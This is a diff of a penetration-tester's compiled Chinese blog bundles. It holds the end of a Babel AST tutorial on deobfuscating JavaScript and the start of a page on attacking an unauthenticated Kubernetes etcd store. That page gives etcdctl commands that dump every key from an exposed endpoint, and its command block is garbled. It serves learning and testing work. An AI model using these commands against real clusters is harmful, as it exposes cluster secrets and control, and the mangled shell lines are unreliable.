path.scope.getBinding(path.node.arguments[0].object.name);\n const arrayNum = path.node.arguments[0].property.value;\n const init = arrayBind.path.node.init;\n\n let value = init.elements[arrayNum].value;\n\n // \u83b7\u53d6\u51fd\u6570\u4f53\u4ee3\u7801\n const functionCode = generate(functionBind.path.node).code;\n const decodedFunction = new Function(`return (${functionCode})`)();\n\n value = decodedFunction(value);\n let node = types.valueToNode(value);\n path.replaceInline(types.valueToNode(value));\n functionBind.path.remove();\n arrayBind.path.remove();\n }\n }\n});\n\n// \u7b2c\u4e09\u9636\u6bb5\uff1a\u5904\u7406\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f\ntraverse(ast, {\n MemberExpression(path){\n if(path.node.computed){\n path.node.computed = false\n const name = path.node.property.value\n path.node.property = types.identifier(name);\n\n }\n }\n})\n\n\n\n\nconst result = generate(ast);\nconsole.log(result.code);\n\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u7b2c\u56db\u9636\u6bb5\uff0c\u5c06\u82b1\u6307\u4ee4\u51fd\u6570\u66ff\u6362\u6210\u4e8c\u9879\u5f0f"}),"\n",(0,t.jsxs)(e.p,{children:["\u4e8c\u9879\u5f0f \u6709\u4e09\u90e8\u5206\u6784\u6210",(0,t.jsx)(e.code,{children:"left"}),"\u3001",(0,t.jsx)(e.code,{children:"operator"}),"\u3001",(0,t.jsx)(e.code,{children:"right"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647072.png-.png",alt:"image-20250117111820315"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5bf9\u51fa\u73b0\u7684",(0,t.jsx)(e.code,{children:"CallExpression"}),"\u4e3a\u82b1\u6307\u4ee4\u7684\u51fd\u6570\u8fdb\u884c\u66ff\u6362"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202501171647073.png-.png",alt:"image-20250117111942151"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const fs = require(\'fs\');\nconst parser = require("@babel/parser");\nconst traverse = require("@babel/traverse").default\nconst generate = require("@babel/generator").default\nconst types = require("@babel/types");\nconst {binaryExpression} = require("@babel/types");\nconst code = `\nfunction double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \\u0064\\u0069\\u0067\\u0075\\u0069(\\u006e){return \\u005f\\u0045\\u0058\\u004d\\u0053(\\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\\u005f\\u0072\\u0053\\u0065\\u0053(\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0073\\u0054\\u0046\\u0062(\\u006e,(846611^391233)-(844466^389603))),\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0077\\u0059\\u0051\\u006d(\\u006e,(372786^381554)-(538795^547477))));}\\u0063\\u006f\\u006e\\u0073\\u006f\\u006c\\u0065[\\u0064\\u006f\\u0075\\u0062\\u006c\\u0065\\u005f\\u0062\\u0036\\u0034\\u005f\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065(\\u0041\\u0072\\u0072[(812069^947940)-(417221^282372)])](\\u0064\\u0069\\u0067\\u0075\\u0069((425420^179515)-(347329^101420)));\n`;\n\n// \u7b2c\u4e00\u9636\u6bb5\uff1a\u8ba1\u7b97 \u53ef\u6267\u884c\u7684\u4e8c\u9879\u5f0f\nconst ast = parser.parse(code, )\ntraverse(ast, {\n BinaryExpression(path) {\n const { confident, value } = path.evaluate();\n if (confident) {\n path.replaceInline(types.valueToNode(value));\n }\n },\n});\n// \u7b2c\u4e8c\u9636\u6bb5\uff1a\u5220\u9664 double_b64_decode \u51fd\u6570 \u5e76\u66ff\u6362\u6210 \u5bf9\u5e94\u7684\u503c\ntraverse(ast, {\n CallExpression(path){\n const callee = path.node.callee.name;\n\n if (callee === \'double_b64_decode\') {\n const functionBind = path.scope.getBinding(path.node.callee.name);\n const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);\n const arrayNum = path.node.arguments[0].property.value;\n const init = arrayBind.path.node.init;\n\n let value = init.elements[arrayNum].value;\n\n // \u83b7\u53d6\u51fd\u6570\u4f53\u4ee3\u7801\n const functionCode = generate(functionBind.path.node).code;\n const decodedFunction = new Function(`return (${functionCode})`)();\n\n value = decodedFunction(value);\n let node = types.valueToNode(value);\n path.replaceInline(types.valueToNode(value));\n functionBind.path.remove();\n arrayBind.path.remove();\n }\n }\n});\n\n// \u7b2c\u4e09\u9636\u6bb5\uff1a\u5904\u7406\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f\ntraverse(ast, {\n MemberExpression(path){\n if(path.node.computed){\n path.node.computed = false\n const name = path.node.property.value\n path.node.property = types.identifier(name);\n\n }\n }\n})\n\n// \u7b2c\u56db\u9636\u6bb5\uff1a\u66ff\u6362\u6240\u6709\u51fa\u73b0\u7684\u82b1\u6307\u4ee4\u51fd\u6570\u8c03\u7528\uff0c\u5e76\u540c\u65f6\u51fd\u6570\u8282\u70b9\ntraverse(ast, {\n CallExpression(path) {\n const callee = path.node.callee;\n\n if (/^_/.test(callee.name)) {\n const functionName = callee.name;\n const functionBind = path.scope.getBinding(functionName);\n if (functionBind) {\n\n const left = path.node.arguments[0];\n const right = path.node.arguments[1];\n const operator = functionBind.path.node.body.body[0].argument.operator;\n const binaryExpression = types.binaryExpression(operator, left, right);\n path.replaceInline(binaryExpression);\n \n\n functionBind.path.remove();\n }\n\n }\n }\n})\n\n\nconst result = generate(ast);\nconsole.log(result.code);\n\n'})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const fs = require(\'fs\');\nconst parser = require("@babel/parser");\nconst traverse = require("@babel/traverse").default\nconst generate = require("@babel/generator").default\nconst types = require("@babel/types");\nconst {binaryExpression} = require("@babel/types");\nconst code = `\nfunction double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \\u0064\\u0069\\u0067\\u0075\\u0069(\\u006e){return \\u005f\\u0045\\u0058\\u004d\\u0053(\\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\\u005f\\u0072\\u0053\\u0065\\u0053(\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0073\\u0054\\u0046\\u0062(\\u006e,(846611^391233)-(844466^389603))),\\u0064\\u0069\\u0067\\u0075\\u0069(\\u005f\\u0077\\u0059\\u0051\\u006d(\\u006e,(372786^381554)-(538795^547477))));}\\u0063\\u006f\\u006e\\u0073\\u006f\\u006c\\u0065[\\u0064\\u006f\\u0075\\u0062\\u006c\\u0065\\u005f\\u0062\\u0036\\u0034\\u005f\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065(\\u0041\\u0072\\u0072[(812069^947940)-(417221^282372)])](\\u0064\\u0069\\u0067\\u0075\\u0069((425420^179515)-(347329^101420)));\n`;\n\n// \u7b2c\u4e00\u9636\u6bb5\uff1a\u8ba1\u7b97 \u53ef\u6267\u884c\u7684\u4e8c\u9879\u5f0f\nconst ast = parser.parse(code, )\ntraverse(ast, {\n BinaryExpression(path) {\n const { confident, value } = path.evaluate();\n if (confident) {\n path.replaceInline(types.valueToNode(value));\n }\n },\n});\n// \u7b2c\u4e8c\u9636\u6bb5\uff1a\u5220\u9664 double_b64_decode \u51fd\u6570 \u5e76\u66ff\u6362\u6210 \u5bf9\u5e94\u7684\u503c\ntraverse(ast, {\n CallExpression(path){\n const callee = path.node.callee.name;\n\n if (callee === \'double_b64_decode\') {\n const functionBind = path.scope.getBinding(path.node.callee.name);\n const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);\n const arrayNum = path.node.arguments[0].property.value;\n const init = arrayBind.path.node.init;\n\n let value = init.elements[arrayNum].value;\n\n // \u83b7\u53d6\u51fd\u6570\u4f53\u4ee3\u7801\n const functionCode = generate(functionBind.path.node).code;\n const decodedFunction = new Function(`return (${functionCode})`)();\n\n value = decodedFunction(value);\n let node = types.valueToNode(value);\n path.replaceInline(types.valueToNode(value));\n functionBind.path.remove();\n arrayBind.path.remove();\n }\n }\n});\n\n// \u7b2c\u4e09\u9636\u6bb5\uff1a\u5904\u7406\u5bf9\u8c61\u8bbf\u95ee\u65b9\u5f0f\ntraverse(ast, {\n MemberExpression(path){\n if(path.node.computed){\n path.node.computed = false\n const name = path.node.property.value\n path.node.property = types.identifier(name);\n\n }\n }\n})\n\n// \u7b2c\u56db\u9636\u6bb5\uff1a\u66ff\u6362\u6240\u6709\u51fa\u73b0\u7684\u82b1\u6307\u4ee4\u51fd\u6570\u8c03\u7528\uff0c\u5e76\u540c\u65f6\u51fd\u6570\u8282\u70b9\ntraverse(ast, {\n CallExpression(path) {\n const callee = path.node.callee;\n\n if (/^_/.test(callee.name)) {\n const functionName = callee.name;\n const functionBind = path.scope.getBinding(functionName);\n if (functionBind) {\n\n const left = path.node.arguments[0];\n const right = path.node.arguments[1];\n const operator = functionBind.path.node.body.body[0].argument.operator;\n const binaryExpression = types.binaryExpression(operator, left, right);\n path.replaceInline(binaryExpression);\n \n\n functionBind.path.remove();\n }\n\n }\n }\n})\n\n\nconst result = generate(ast);\nconsole.log(result.code);\n\n'})}),"\n",(0,t.jsx)(e.h3,{id:"switch-case-\u63a7\u5236\u6d41\u5e73\u5766\u5316",children:"switch-case \u63a7\u5236\u6d41\u5e73\u5766\u5316"}),"\n",(0,t.jsxs)(e.p,{children:["\u63a7\u5236\u6d41\u5e73\u5766\u5316\u662f\u6df7\u6dc6\u5f53\u4e2d\u6700\u5e38\u89c1\u7684\uff0c\u901a\u8fc7 ",(0,t.jsx)(e.code,{children:"if-else"})," \u6216\u8005 ",(0,t.jsx)(e.code,{children:"while-switch-case"})," \u8bed\u53e5\u5206\u89e3\u6b65\u9aa4\uff0c\u793a\u4f8b\u4ee3\u7801\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const CryptoJS = require(\'crypto-js\');\n\n// AES \u52a0\u5bc6\u51fd\u6570\nfunction aesEncrypt(data) {\n let key = CryptoJS.enc.Utf8.parse("1234567890123456");\n let iv = CryptoJS.enc.Utf8.parse("1234567890123456");\n let lineOrder = ["5", "8", "9", "2", \'0\', "6", "10", "1", "7", "4", "3"];\n let lineIndex = 0;\n while (true) {\n switch (lineOrder[lineIndex]) {\n case "5":\n key = CryptoJS.enc.Utf8.parse(\'1234567890123456\');\n \n \n case "8":\n key = CryptoJS.lib.WordArray.random(16);\n \n case "9":\n key = CryptoJS.enc.Utf8.parse(\'454583r342342445\');\n \n \n case "2":\n key = CryptoJS.enc.Utf8.parse(\'cdscddde3wfdedww\');\n case "0":\n iv = CryptoJS.lib.WordArray.random(16);\n case "6":\n iv = CryptoJS.enc.Utf8.parse(\'1234567890123456\');\n \n \n case "10":\n iv = CryptoJS.enc.Utf8.parse(\'454583r342342445\');\n \n \n case "1":\n iv = CryptoJS.lib.WordArray.random(16);\n case "7":\n iv = CryptoJS.enc.Utf8.parse(\'cdscddde3wfdedww\');\n case "4":\n const encryptedData = CryptoJS.AES.encrypt(data, key, {\n iv: iv,\n mode: CryptoJS.mode.CBC,\n padding: CryptoJS.pad.Pkcs7\n });\n case "3":\n return {\n encryptedData: encryptedData.toString(),\n key: key.toString(),\n iv: iv.toString()\n };\n }\n lineIndex++;\n }\n}\nconsole.log(aesEncrypt(\'1234567890123456\'));\n'})}),"\n",(0,t.jsx)(e.p,{children:"AST \u8fd8\u539f\u601d\u8def\uff1a"}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsxs)(e.li,{children:["\u83b7\u53d6\u63a7\u5236\u6d41\u539f\u59cb\u6570\u7ec4\uff0c\u5c06 ",(0,t.jsx)(e.code,{children:"'3,4,0,5,1,2'['split'](',')"})," \u4e4b\u7c7b\u7684\u8bed\u53e5\u8f6c\u5316\u6210 ",(0,t.jsx)(e.code,{children:"['3','4','0','5','1','2']"})," \u4e4b\u7c7b\u7684\u6570\u7ec4\uff0c\u5f97\u5230\u8be5\u6570\u7ec4\u4e4b\u540e\uff0c\u4e5f\u53ef\u4ee5\u9009\u62e9\u628a split \u8bed\u53e5\u5bf9\u5e94\u7684\u8282\u70b9\u5220\u9664\u6389\uff0c\u56e0\u4e3a\u6700\u7ec8\u4ee3\u7801\u91cc\u8fd9\u6761\u8bed\u53e5\u5c31\u6ca1\u7528\u4e86\uff1b"]}),"\n",(0,t.jsx)(e.li,{children:"\u904d\u5386\u7b2c\u4e00\u6b65\u5f97\u5230\u7684\u63a7\u5236\u6d41\u6570\u7ec4\uff0c\u4f9d\u6b21\u53d6\u51fa\u6bcf\u4e2a\u503c\u6240\u5bf9\u5e94\u7684 case \u8282\u70b9\uff1b"}),"\n",(0,t.jsxs)(e.li,{children:["\u5b9a\u4e49\u4e00\u4e2a\u6570\u7ec4\uff0c\u50a8\u5b58\u6bcf\u4e2a case \u8282\u70b9 ",(0,t.jsx)(e.code,{children:"consequent"})," \u6570\u7ec4\u91cc\u9762\u7684\u5185\u5bb9\uff0c\u5e76\u5220\u9664 ",(0,t.jsx)(e.code,{children:"continue"})," \u8bed\u53e5\u5bf9\u5e94\u7684\u8282\u70b9\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:["\u904d\u5386\u5b8c\u6210\u540e\uff0c\u5c06\u7b2c\u4e09\u6b65\u7684\u6570\u7ec4\u66ff\u6362\u6389\u6574\u4e2a while \u8282\u70b9\uff0c\u4e5f\u5c31\u662f ",(0,t.jsx)(e.code,{children:"WhileStatement"}),"\u3002"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:"\u4e0d\u540c\u601d\u8def\uff0c\u5199\u6cd5\u591a\u6837\uff0c\u5bf9\u4e8e\u5982\u4f55\u83b7\u53d6\u63a7\u5236\u6d41\u6570\u7ec4\uff0c\u53ef\u4ee5\u6709\u4ee5\u4e0b\u601d\u8def\uff1a"}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsxs)(e.li,{children:["\u83b7\u53d6\u5230 ",(0,t.jsx)(e.code,{children:"While"})," \u8bed\u53e5\u8282\u70b9\uff0c\u7136\u540e\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"path.getAllPrevSiblings()"})," \u65b9\u6cd5\u83b7\u53d6\u5176\u524d\u9762\u7684\u6240\u6709\u5144\u5f1f\u8282\u70b9\uff0c\u904d\u5386\u6bcf\u4e2a\u5144\u5f1f\u8282\u70b9\uff0c\u627e\u5230\u4e0e ",(0,t.jsx)(e.code,{children:"switch()"})," \u91cc\u9762\u6570\u7ec4\u7684\u53d8\u91cf\u540d\u76f8\u540c\u7684\u8282\u70b9\uff0c\u7136\u540e\u518d\u53d6\u8282\u70b9\u7684\u503c\u8fdb\u884c\u540e\u7eed\u5904\u7406\uff1b"]}),"\n",(0,t.jsxs)(e.li,{children:["\u76f4\u63a5\u53d6 ",(0,t.jsx)(e.code,{children:"switch()"})," \u91cc\u9762\u6570\u7ec4\u7684\u53d8\u91cf\u540d\uff0c\u7136\u540e\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"scope.getBinding()"})," \u65b9\u6cd5\u83b7\u53d6\u5230\u5b83\u7ed1\u5b9a\u7684\u8282\u70b9\uff0c\u7136\u540e\u518d\u53d6\u8fd9\u4e2a\u8282\u70b9\u7684\u503c\u8fdb\u884c\u540e\u7eed\u5904\u7406\u3002"]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const parser = require("@babel/parser");\n\nconst generate = require("@babel/generator").default\n\nconst traverse = require("@babel/traverse").default\n\nconst types = require("@babel/types")\n\nconst fs = require("fs");\n\n\n\nconst code = `\nconst CryptoJS = require(\'crypto-js\');\n\n// AES \u52a0\u5bc6\u51fd\u6570\nfunction aesEncrypt(data) {\n let key = CryptoJS.enc.Utf8.parse("1234567890123456");\n let iv = CryptoJS.enc.Utf8.parse("1234567890123456");\n let lineOrder = ["5", "8", "9", "2", \'0\', "6", "10", "1", "7", "4", "3"];\n let lineIndex = 0;\n while (true) {\n switch (lineOrder[lineIndex]) {\n case "5":\n key = CryptoJS.enc.Utf8.parse(\'1234567890123456\');\n \n \n case "8":\n key = CryptoJS.lib.WordArray.random(16);\n \n case "9":\n key = CryptoJS.enc.Utf8.parse(\'454583r342342445\');\n \n \n case "2":\n key = CryptoJS.enc.Utf8.parse(\'cdscddde3wfdedww\');\n case "0":\n iv = CryptoJS.lib.WordArray.random(16);\n case "6":\n iv = CryptoJS.enc.Utf8.parse(\'1234567890123456\');\n \n \n case "10":\n iv = CryptoJS.enc.Utf8.parse(\'454583r342342445\');\n \n \n case "1":\n iv = CryptoJS.lib.WordArray.random(16);\n case "7":\n iv = CryptoJS.enc.Utf8.parse(\'cdscddde3wfdedww\');\n case "4":\n const encryptedData = CryptoJS.AES.encrypt(data, key, {\n iv: iv,\n mode: CryptoJS.mode.CBC,\n padding: CryptoJS.pad.Pkcs7\n });\n case "3":\n return {\n encryptedData: encryptedData.toString(),\n key: key.toString(),\n iv: iv.toString()\n };\n }\n lineIndex++;\n }\n}\nconsole.log(aesEncrypt(\'1234567890123456\'));\n\n`;\n\nconst ast = parser.parse(code)\n\n\n\nconst visitor = {\n\n WhileStatement(path) {\n\n\n\n let switchNode = path.node.body.body[0];\n\n\n\n let arrayName = switchNode.discriminant.object.name;\n\n // \u83b7\u53d6\u63a7\u5236\u6d41\u6570\u7ec4\u7ed1\u5b9a\u7684\u8282\u70b9\n\n let bindingArray = path.scope.getBinding(arrayName);\n let arrayNode = bindingArray.path.node;\n let array = arrayNode.init.elements;\n array = array.map((item) => item.value);\n\n // \u50a8\u5b58\u6b63\u786e\u987a\u5e8f\u7684\u63a7\u5236\u6d41\u8bed\u53e5\n\n let replace = [];\n\n // \u904d\u5386\u63a7\u5236\u6d41\u6570\u7ec4\uff0c\u6309\u6b63\u786e\u987a\u5e8f\u53d6 case \u5185\u5bb9\n\n array.forEach(index => {\n\n\n const a =switchNode.cases.find((item) => item.test.value === index);\n let consequent = a.consequent;\n\n // \u5982\u679c\u6700\u540e\u4e00\u4e2a\u8282\u70b9\u662f continue \u8bed\u53e5\uff0c\u5219\u5220\u9664 ContinueStatement \u8282\u70b9\n\n if (types.isContinueStatement(consequent[consequent.length - 1])) {\n\n consequent.pop();\n\n }\n\n // concat \u65b9\u6cd5\u62fc\u63a5\u591a\u4e2a\u6570\u7ec4\uff0c\u5373\u6b63\u786e\u987a\u5e8f\u7684 case \u5185\u5bb9\n\n replace = replace.concat(consequent);\n\n }\n\n );\n\n // \u66ff\u6362\u6574\u4e2a while \u8282\u70b9\uff0c\u4e24\u79cd\u65b9\u6cd5\u90fd\u53ef\u4ee5\n\n path.replaceWithMultiple(replace);\n\n // path.replaceInline(replace);\n\n }\n\n}\n\n\n\ntraverse(ast, visitor)\n\nconst result = generate(ast)\n\nconsole.log(result.code)\n\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u4ee5\u4e0a\u4ee3\u7801\u8fd0\u884c\u540e\uff0c\u539f\u6765\u7684 ",(0,t.jsx)(e.code,{children:"switch-case"})," \u63a7\u5236\u6d41\u5c31\u88ab\u8fd8\u539f\u4e86\uff0c\u53d8\u6210\u4e86\u6309\u987a\u5e8f\u4e00\u884c\u4e00\u884c\u7684\u4ee3\u7801\uff0c\u66f4\u52a0\u7b80\u6d01\u660e\u4e86\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-javascript",children:'const CryptoJS = require(\'crypto-js\');\n\n// AES \u52a0\u5bc6\u51fd\u6570\nfunction aesEncrypt(data) {\n let key = CryptoJS.enc.Utf8.parse("1234567890123456");\n let iv = CryptoJS.enc.Utf8.parse("1234567890123456");\n let lineOrder = ["5", "8", "9", "2", \'0\', "6", "10", "1", "7", "4", "3"];\n let lineIndex = 0;\n key = CryptoJS.enc.Utf8.parse(\'1234567890123456\');\n key = CryptoJS.lib.WordArray.random(16);\n key = CryptoJS.enc.Utf8.parse(\'454583r342342445\');\n key = CryptoJS.enc.Utf8.parse(\'cdscddde3wfdedww\');\n iv = CryptoJS.lib.WordArray.random(16);\n iv = CryptoJS.enc.Utf8.parse(\'1234567890123456\');\n iv = CryptoJS.enc.Utf8.parse(\'454583r342342445\');\n iv = CryptoJS.lib.WordArray.random(16);\n iv = CryptoJS.enc.Utf8.parse(\'cdscddde3wfdedww\');\n const encryptedData = CryptoJS.AES.encrypt(data, key, {\n iv: iv,\n mode: CryptoJS.mode.CBC,\n padding: CryptoJS.pad.Pkcs7\n });\n return {\n encryptedData: encryptedData.toString(),\n key: key.toString(),\n iv: iv.toString()\n };\n}\nconsole.log(aesEncrypt(\'1234567890123456\'));\n'})}),"\n",(0,t.jsx)(e.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\u5b98\u65b9\u624b\u518c Babel Handbook\uff1a",(0,t.jsx)(e.a,{href:"https://github.com/jamiebuilds/babel-handbook",children:"https://github.com/jamiebuilds/babel-handbook"})]}),"\n",(0,t.jsxs)(e.li,{children:["\u5b98\u65b9\u4e2d\u6587\u624b\u518c\uff1a",(0,t.jsx)(e.a,{href:"https://www.babeljs.cn/docs/",children:"https://www.babeljs.cn/docs/"})]}),"\n",(0,t.jsxs)(e.li,{children:["\u975e\u5b98\u65b9 Babel API \u4e2d\u6587\u6587\u6863\uff1a",(0,t.jsx)(e.a,{href:"https://evilrecluse.top/Babel-traverse-api-doc/",children:"https://evilrecluse.top/Babel-traverse-api-doc/"})]}),"\n",(0,t.jsxs)(e.li,{children:["k\u54e5\u722c\u866b\uff1a",(0,t.jsx)(e.a,{href:"https://www.cnblogs.com/ikdl",children:"https://www.cnblogs.com/ikdl"})]}),"\n"]})]})}function u(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(o,{...n})}):o(n)}}}]); \ No newline at end of file diff --git a/assets/js/03086769.c8be1c86.js b/assets/js/03086769.c8be1c86.js new file mode 100644 index 0000000..e817caa --- /dev/null +++ b/assets/js/03086769.c8be1c86.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5374],{28453:(e,t,n)=>{n.d(t,{R:()=>d,x:()=>r});var c=n(96540);const s={},l=c.createContext(s);function d(e){const t=c.useContext(l);return c.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function r(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:d(e.components),c.createElement(l.Provider,{value:t},e.children)}},68907:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>r,default:()=>a,frontMatter:()=>d,metadata:()=>c,toc:()=>o});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd","title":"etcd","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/02.Etcd.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/02.Etcd.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Apiserver","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer"},"next":{"title":"Kubelet","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet"}}');var s=n(74848),l=n(28453);const d={},r="etcd",i={},o=[{value:"\u5229\u7528",id:"\u5229\u7528",level:2}];function h(e){const t={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"etcd",children:"etcd"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:33:16"})]})})]}),"\n",(0,s.jsx)(t.p,{children:"etcd \u662f\u4e00\u79cd\u5206\u5e03\u5f0f\u952e\u503c\u5b58\u50a8\uff0c\u63d0\u4f9b\u4e86\u4e00\u79cd\u53ef\u9760\u7684\u65b9\u5f0f\u6765\u7ba1\u7406\u5206\u5e03\u5f0f\u7cfb\u7edf\u7684\u534f\u8c03\u72b6\u6001\u3002etcd \u4e8e 2013 \u5e74 6 \u6708\u7531 CoreOS\uff08\u81ea 2018 \u5e74\u8d77\u6210\u4e3a Red Hat \u7684\u4e00\u90e8\u5206\uff09\u9996\u6b21\u53d1\u5e03\u3002\u81ea 2014 \u5e74\u5728 Kubernetes \u4e2d\u91c7\u7528\u4ee5\u6765\uff0cetcd \u5df2\u6210\u4e3a Kubernetes \u96c6\u7fa4\u7ba1\u7406\u8f6f\u4ef6\u8bbe\u8ba1\u7684\u57fa\u672c\u7ec4\u6210\u90e8\u5206\uff0c\u5e76\u4e14 etcd \u793e\u533a\u5448\u6307\u6570\u7ea7\u589e\u957f\u3002etcd \u76ee\u524d\u5df2\u5728\u591a\u5bb6\u516c\u53f8\u7684\u751f\u4ea7\u73af\u5883\u4e2d\u4f7f\u7528\uff0c\u5305\u62ec AWS\u3001Google Cloud Platform\u3001Azure \u7b49\u5927\u578b\u4e91\u63d0\u4f9b\u5546\u73af\u5883\u4ee5\u53ca\u5176\u4ed6\u672c\u5730 Kubernetes \u5b9e\u65bd\u3002"}),"\n",(0,s.jsxs)(t.p,{children:["\u518d ",(0,s.jsx)(t.code,{children:"kubernetes"})," \u4e2d\uff0c\u9ed8\u8ba4\u4f7f\u7528",(0,s.jsx)(t.code,{children:"etcd v3"})," \u6765\u5b58\u50a8\u6570\u636e\uff0c\u5982\u679c\u6211\u4eec\u80fd\u591f\u63a7\u5236",(0,s.jsx)(t.code,{children:"etcd\u670d\u52a1"}),", \u4e5f\u5c31\u62e5\u6709\u4e86\u6574\u4e2a\u96c6\u7fa4\u7684\u63a7\u5236\u6743"]}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-shell",children:'CTL_ENDPOINTS="http://192.168.3.105:2379/"\netcdctl getexport ETCDCTL_API=3\nexport ETCD\nCTL_ENDPOINTS="http://192.168.3.105:2379/"\netcdctl get / --prefix --keys-only \n'})}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202307080046934.png",alt:"image-20230708004633573"})}),"\n",(0,s.jsx)(t.h2,{id:"\u5229\u7528",children:"\u5229\u7528"}),"\n",(0,s.jsxs)(t.p,{children:[(0,s.jsx)(t.code,{children:"etcd"})," \u4e5f\u5b58\u5728 ",(0,s.jsx)(t.code,{children:"api"})," \u548c \u547d\u4ee4\u884c\u4e24\u79cd\u6a21\u5f0f\uff0c\u8fd9\u91cc\u4ee5 